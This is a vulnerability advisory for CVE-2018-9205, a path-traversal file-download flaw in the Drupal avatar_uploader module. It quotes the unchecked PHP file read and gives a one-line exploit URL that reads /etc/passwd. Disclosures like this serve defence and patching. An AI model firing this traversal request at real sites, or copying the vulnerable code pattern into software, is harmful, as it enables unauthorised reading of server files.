Drupal Avatar Uploader 7.x-1.0-beta8 Arbitary File Download

Risk: High
Local: No
Remote: Yes
CWE: CWE-264

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

Title: Arbitrary file download vulnerability in Drupal module avatar_uploader v7.x-1.0-beta8 Author: Larry W. Cashdollar Date: 2018-03-30 CVE-ID:[CVE-2018-9205] Download Site: https://www.drupal.org/project/avatar_uploader Vendor: https://www.drupal.org/u/robbinzhao Vendor Notified: 2018-04-02 Vendor Contact: https://www.drupal.org/project/avatar_uploader/issues/2957966#comment-12554146 Advisory: http://www.vapidlabs.com/advisory.php?v=202 Description: This module used Simple Ajax Uploader, and provide a basic uploader panel, for more effect, you can do your custom javascript. Such as, users' mouse hover on avatar, the edit link will slideup, or others. Vulnerability: The view.php contains code to retrieve files but no code to verify a user should be able to view files or keep them from changing the path to outside of the uploadDir directory <?php $file = $_GET['file']; echo file_get_contents("uploadDir/$file"); exit Exploit Code: aC/ http://example.com/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd

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